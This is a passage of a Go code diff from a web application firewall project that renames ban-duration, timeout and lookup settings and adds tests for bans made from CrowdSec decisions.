// admin adds to bans.json can start after another and end before it, so
// that one is looked for among them all.
// sign of attack or for CrowdSec's decision, or a lifted one, can make the
// new ban longer. A ban an admin adds to bans.json can start after
// another and end before it, so that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.params.LimitBanDuration
@@ -859,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
if last != nil &&
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
// This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow.
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
if lastLength > l.params.MaxBanDuration/repeatFactor {
return time.Time{}
}
length = repeatFactor * lastLength
}
if length > l.params.LimitBanPermanentAbove {
if length > l.params.MaxBanDuration {
return time.Time{}
}
+12 -12
View File
@@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) {
}
}
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel()
params := defaultParams()
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params)
ban, _ := ledger.BanForLimit(
@@ -114,14 +114,14 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
}
}
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
t.Parallel()
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
// 3^13 hours, is not above it, and three times as long would not fit in
// a time.Duration. The 15th is permanent.
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// hours, is within the maximum, and three times as long would not fit
// in a time.Duration. The 15th is permanent.
params := defaultParams()
params.LimitBanPermanentAbove = 100000 * day
params.MaxBanDuration = 100000 * day
ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
@@ -650,11 +650,11 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
// defaultParams are the params at the settings' defaults.
func defaultParams() bans.Params {
return bans.Params{
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day,
LimitBanPermanentAbove: 7 * day,
AttackBanDuration: 7 * day,
MaxBans: 5000,
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day,
MaxBanDuration: 7 * day,
AttackBanDuration: 7 * day,
MaxBans: 5000,
}
}
+136
View File
@@ -0,0 +1,136 @@
package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// scenario is the scenario of the tests' CrowdSec decisions.
const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf(
"would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan,
ledger.Bans(netblock),
)
}
const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf(
"made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s",
made,
ban,
would,
expires,
)
}
// A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
}
}
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond)
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf(
"as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was",
banned,
held,
madePermanent,
)
}
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
t.Error("the ban refuses a request once the decision has ended")
}
}
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
t *testing.T,
) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does.
crowdSec, _ := ledger.BanForCrowdSec(
netblock,
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf(
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit,
)
}
}
+5 -32
View File
@@ -16,7 +16,6 @@ import (
"os"
"strconv"
"strings"
"time"
"github.com/spf13/viper"
)
@@ -37,9 +36,7 @@ const (
var (
errNotSize = errors.New(
"is not a size such as 512K, 100M or 5G, or off")
errNotPositive = errors.New("must be more than zero, or off")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotPositive = errors.New("must be more than zero, or off")
errEmptyItem = errors.New("has an empty item in its list")
errNotNetblock = errors.New(
"is not a netblock such as 10.0.0.0/8, or an address")
@@ -65,10 +62,10 @@ func Command(v *viper.Viper) (string, error) {
}
}
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
// settings: it notes each value for the log, and keeps the first error. It
// reads every setting through v, the viper NewViper returns, and honours
// each setting's _FILE form too.
// environment is where FromEnvironment reads the settings: it notes each
// value for the log, and keeps the first error. It reads every setting
// through v, the viper NewViper returns, and honours each setting's _FILE
// form too.
type environment struct {
v *viper.Viper
settings []slog.Attr
@@ -165,19 +162,6 @@ func (e *environment) size(name, defaultValue string) int64 {
return size
}
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// parseSize reads a number of bytes with an optional K, M or G suffix, in
// powers of 1024 (1K is 1024 bytes), or off.
func parseSize(value string) (int64, error) {
@@ -214,17 +198,6 @@ func splitUnit(value string) (string, int64) {
}
}
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
// parseList splits a comma-separated list and trims the spaces around
// each item. An empty value is an empty list.
func parseList(value string) ([]string, error) {
+38 -16
View File
@@ -4,6 +4,7 @@ import (
"errors"
"fmt"
"log/slog"
"math"
"net/netip"
"net/url"
"strconv"
@@ -24,15 +25,13 @@ type RProxy struct {
TrustedProxies []netip.Prefix
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
WAFBackend *url.URL
// WAFBackendTimeout is how long rproxy waits for waf's answer to a
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
// cannot be off.
WAFBackendTimeout time.Duration
// WAFBackendNoAnswerDisposition is what is done with a request when waf
// cannot be connected to, does not answer at all, or does not answer
// within WAFBackendTimeout: allow or deny
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
WAFBackendNoAnswerDisposition string
// Timeout is how long rproxy waits for waf's answer to a question,
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
Timeout time.Duration
// DefaultDisposition is what is done with a request when waf cannot be
// connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
DefaultDisposition string
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
MaxRequestSize int64
@@ -63,7 +62,9 @@ var (
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080")
errNotDisposition = errors.New("is not allow or deny")
errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off",
)
@@ -88,12 +89,9 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
privateRanges,
),
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
WAFBackendTimeout: env.milliseconds(
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
"2000",
),
WAFBackendNoAnswerDisposition: env.disposition(
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition(
"SWW_RPROXY_DEFAULT_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
@@ -175,6 +173,19 @@ func (e *environment) disposition(name, defaultValue string) string {
return value
}
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0.
func (e *environment) millisecondsOrOff(
@@ -193,6 +204,17 @@ func (e *environment) millisecondsOrOff(
return duration
}
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
+35 -37
View File
@@ -15,20 +15,20 @@ import (
// rproxy's settings, by name, and their values in these tests.
const (
wafBackend = "SWW_RPROXY_WAF_BACKEND"
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080"
rproxyNoAnswerAddr = ":8080"
rproxyNoAnswerApp = "http://127.0.0.1:8081"
notASize = "a lot"
wafBackend = "SWW_RPROXY_WAF_BACKEND"
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080"
rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot"
)
// rproxyConfig reads rproxy's settings from env.
@@ -44,8 +44,8 @@ func TestRProxyDefaults(t *testing.T) {
t.Fatalf("settings: %v", err)
}
if cfg.ListenAddr != rproxyNoAnswerAddr ||
cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL {
t.Errorf(
"addresses %q, %v, %v",
@@ -55,12 +55,11 @@ func TestRProxyDefaults(t *testing.T) {
)
}
if cfg.WAFBackendTimeout != 2*time.Second ||
cfg.WAFBackendNoAnswerDisposition != "allow" {
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
t.Errorf(
"waf backend timeout %v, no-answer disposition %q",
cfg.WAFBackendTimeout,
cfg.WAFBackendNoAnswerDisposition,
"timeout %v, default disposition %q",
cfg.Timeout,
cfg.DefaultDisposition,
)
}
@@ -91,8 +90,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
rproxyListen: ":9000",
rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24",
wafBackendTimeout: "150",
rproxyNoAnswer: "deny",
rproxyTimeout: "150",
rproxyDefault: "deny",
rproxyMaxRequest: "1K",
rproxyMaxResponse: off,
rproxyRequestTime: off,
@@ -108,8 +107,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg)
}
if cfg.WAFBackendTimeout != 150*time.Millisecond ||
cfg.WAFBackendNoAnswerDisposition != "deny" ||
if cfg.Timeout != 150*time.Millisecond ||
cfg.DefaultDisposition != "deny" ||
cfg.MaxRequestSize != 1024 ||
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
@@ -127,13 +126,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
{wafBackend, ""},
{wafBackend, "waf:8080"},
{wafBackend, "http://waf:8080/path"},
{wafBackendTimeout, "0"},
{wafBackendTimeout, "-1"},
{wafBackendTimeout, off},
{wafBackendTimeout, "2s"},
{wafBackendTimeout, "1.25"},
{wafBackendTimeout, "99999999999999999"},
{rproxyNoAnswer, "maybe"},
{rproxyTimeout, "0"},
{rproxyTimeout, "-1"},
{rproxyTimeout, off},
{rproxyTimeout, "2s"},
{rproxyTimeout, "1.25"},
{rproxyTimeout, "99999999999999999"},
{rproxyDefault, "maybe"},
{rproxyListen, "8080"},
{rproxyUpstream, "app"},
{rproxyUpstream, "127.0.0.1:8081"},
@@ -220,11 +219,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
wafBackendTimeout + "_FILE": path,
wafBackend: backendURL,
rproxyTimeout + "_FILE": path,
})
want := wafBackendTimeout + "_FILE: cannot be read: "
want := rproxyTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want)
}
@@ -247,8 +246,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
}
for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
rproxyNoAnswer,
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} {
if !slices.Contains(names, name) {
+1 -1
View File
@@ -11,7 +11,7 @@ import (
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
t.Setenv(adminToken, "")
_, err := config.WAFFromEnvironment(config.NewViper())
_, err := config.FromEnvironment(config.NewViper())
want := adminToken + ": is shorter than 32 characters"
if err == nil || err.Error() != want {
+276 -236
View File
@@ -27,8 +27,9 @@ import (
"sneak.berlin/go/smallwebwaf/internal/remotelog"
)
// WAF is the settings of `sww waf`. A time or size limit of zero is off.
type WAF struct {
// Config is the settings of `sww waf`. A time or size limit of
// zero is off.
type Config struct {
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
ListenAddr string
// InstanceName is the name every log line and alert gives as instance,
@@ -69,27 +70,25 @@ type WAF struct {
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
// most bytes a client's requests may carry in a minute, an hour and a
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
// response, request or both.
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
// toward them (SWW_WAF_BYTES_COUNT): response, request or both.
BytesLimitPerMinute int64
BytesLimitPerHour int64
BytesLimitPerDay int64
BytesCounted string
// LookupSource is where each client's AS number and country are looked
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
// other source. A request waits up to ASNAndCountryLookupTimeout for its
// client's first answer from GeoJS while a setting needs it
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
// AddLookupHeaders is true when the app is passed the client's AS number
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS), by default unless
// LookupSource is off.
LookupSource string
LookupDBPath string
ASNAndCountryLookupTimeout time.Duration
AddLookupHeaders bool
BytesCount string
// LookupSource is where each client's AS number and country are
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
// other source. A request waits up to LookupTimeout for its client's
// first answer from GeoJS while a setting needs it
// (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
// when the app is passed the client's AS number and country in headers
// (SWW_WAF_ADD_LOOKUP_HEADERS).
LookupSource string
LookupDBPath string
LookupTimeout time.Duration
AddLookupHeaders bool
// ExclusivelyAllowedCountries, when not empty, are the only countries
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
// two-letter codes in capitals, as GeoJS gives them.
@@ -106,22 +105,21 @@ type WAF struct {
// RouteWatchURL is where the routewatch instance is that adds the asn=
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
RouteWatchURL string
// The biased thresholds. ASNBytesLimitPercent and
// CountryBytesLimitPercent give those they list a percentage of the byte
// limits in place of the one TagLimitPercent gives their asn= or
// country= tag (SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT). Each holds percentages from 0 to
// 100, by AS number, written as AS64496, or by country, a two-letter
// code in capitals, as the lookup gives them. UnknownCountryLimitPercent
// is the percentage of every limit a client without a country gets
// (SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT). ASNLimitPercentURL is
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
// those they list a percentage of the byte limits in place of the one
// TagLimitPercent gives their asn= or country= tag
// (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
// percentages from 0 to 100, by AS number, written as AS64496, or by
// country, a two-letter code in capitals, as the lookup gives them.
// UnknownLimitPercent is the percentage of every limit a client without
// a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
// where a file of AS:percent lines is fetched from, whose percentages
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
// "" while it is unset.
ASNBytesLimitPercent map[string]int64
CountryBytesLimitPercent map[string]int64
UnknownCountryLimitPercent int64
ASNLimitPercentURL string
ASNBytesPercent map[string]int64
CountryBytesPercent map[string]int64
UnknownLimitPercent int64
ASNLimitPercentURL string
// BlocklistURLs are where the blocklists are fetched from
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
// fetched again BlocklistRefresh after it was last fetched or tried
@@ -141,23 +139,28 @@ type WAF struct {
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
// at most AbuseIPDBDailyBudget checks are made a day
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
// DNSBLAbuseIPDBAction is what is done with a client a zone's verdict
// lists, or whose score is a hit (SWW_WAF_DNSBL_ABUSEIPDB_ACTION): deny,
// limit or log; for limit, DNSBLAbuseIPDBLimitPercent is the percentage
// of every limit it gets. A verdict or a score is used for
// IPReputationCacheTTL after it was fetched
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and a query or a check may take
// DNSBLAbuseIPDBTimeout (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). Neither
// can be off.
DNSBLZones []string
DNSBLResolver netip.AddrPort
AbuseIPDBKey string
AbuseIPDBMinScore int64
AbuseIPDBDailyBudget int
DNSBLAbuseIPDBAction string
DNSBLAbuseIPDBLimitPercent int64
IPReputationCacheTTL time.Duration
DNSBLAbuseIPDBTimeout time.Duration
// ReputationAction is what is done with a client a zone's verdict lists,
// or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
// for limit, ReputationLimitPercent is the percentage of every limit it
// gets. A verdict or a score is used for ReputationCacheTTL after it was
// fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
// ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
DNSBLZones []string
DNSBLResolver netip.AddrPort
AbuseIPDBKey string
AbuseIPDBMinScore int64
AbuseIPDBDailyBudget int
ReputationAction string
ReputationLimitPercent int64
ReputationCacheTTL time.Duration
ReputationTimeout time.Duration
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
// that URL with v1/decisions added to its path, "" while it is unset and
// none is. CrowdSecKey is the key the engine is asked with
// (SWW_WAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// BanResponse is the status a refused client is answered with, 403
// or 429, or 0 to close the connection without an answer
// (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that
@@ -168,11 +171,11 @@ type WAF struct {
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
// LimitBanRepeatWindow after the last ban ended bans for three times
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
// would be longer than LimitBanPermanentAbove is permanent instead
// (SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE). None of them can be off.
LimitBanDuration time.Duration
LimitBanRepeatWindow time.Duration
LimitBanPermanentAbove time.Duration
// would be longer than MaxBanDuration is permanent instead
// (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
LimitBanDuration time.Duration
LimitBanRepeatWindow time.Duration
MaxBanDuration time.Duration
// AttackBanDuration is the ban for a first clear sign of attack
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
AttackBanDuration time.Duration
@@ -182,13 +185,13 @@ type WAF struct {
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
BanScopeV4Prefix int
// StateDir is the directory of the state files, an absolute path
// (SWW_WAF_STATE_DIR). bans.json is written BansWriteDelay after a ban
// is made (SWW_WAF_BANS_WRITE_DELAY), and every state and cache file
// every StateWriteInterval (SWW_WAF_STATE_WRITE_INTERVAL). Neither
// (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
// is made (SWW_WAF_STATE_WRITE_DELAY), and every state and cache file
// every StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither
// can be off.
StateDir string
BansWriteDelay time.Duration
StateWriteInterval time.Duration
StateDir string
StateWriteDelay time.Duration
StateCounterInterval time.Duration
// CacheDir is the directory of the cache files, which keep answers
// from outside services, an absolute path (SWW_WAF_CACHE_DIR).
CacheDir string
@@ -204,38 +207,32 @@ type WAF struct {
AdminToken string
// MetricsToken is the bearer token a scraper sends for the metrics
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
// MetricsBusiestCountriesAndASNs is how many AS numbers and how many
// countries get series of their own in the metrics
// (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS).
MetricsToken string
MetricsBusiestCountriesAndASNs int
// RuleFilesDir is the directory of the rule files
// (SWW_WAF_RULE_FILES_DIR), read unless RuleFilesEnabled is false
// (SWW_WAF_RULE_FILES_ENABLED).
RuleFilesDir string
RuleFilesEnabled bool
// CoreRuleSetMode is what the Core Rule Set does
// (SWW_WAF_CORE_RULE_SET_MODE): CoreRuleSetModeOff,
// CoreRuleSetModeDetect or CoreRuleSetModeBlock.
// CoreRuleSetParanoiaLevel is its paranoia level, from 1 to 4
// (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and CoreRuleSetScoreThreshold
// the anomaly score at which a request is a match
// (SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD), 0 while it is off.
// CoreRuleSetDisabledRules are the ids of its rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), CoreRuleSetExemptPaths the
// path prefixes it does not inspect (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS),
// and CoreRuleSetBodyInspectionSize the most of a request body it reads
// (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off and it
// reads none.
// MetricsTopN is how many AS numbers and how many countries get series
// of their own in the metrics (SWW_WAF_METRICS_TOP_N).
MetricsToken string
MetricsTopN int
// RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
// unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
RulesDir string
RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
CoreRuleSetMode string
CoreRuleSetParanoiaLevel int
CoreRuleSetScoreThreshold int
CoreRuleSetDisabledRules []int
CoreRuleSetExemptPaths []string
CoreRuleSetBodyInspectionSize int64
CoreRuleSetExclusionsFile string
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_WAF_APPS is unset, and every
@@ -244,26 +241,25 @@ type WAF struct {
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// RefusalsLimitPerMinute is the most requests of a client within a minute
// ErrorBurstThreshold is the most requests of a client within a minute
// that waf may refuse after a rule file or Core Rule Set match; one
// more breaks a limit (SWW_WAF_REFUSALS_LIMIT_PER_MINUTE). 0 is off.
RefusalsLimitPerMinute int64
// more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
// it is unset and the host's own are used. LogRemoteBufferLines is the
// most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
// it is unset and the host's own are used. LogRemoteBuffer is the most
// lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
// LogRemoteFacility is the number of the syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
// the lines are sent in.
LogRemoteURL *url.URL
LogRemoteTLSCAs *x509.CertPool
LogRemoteBufferLines int
LogRemoteFacility int
LogRemoteAppName string
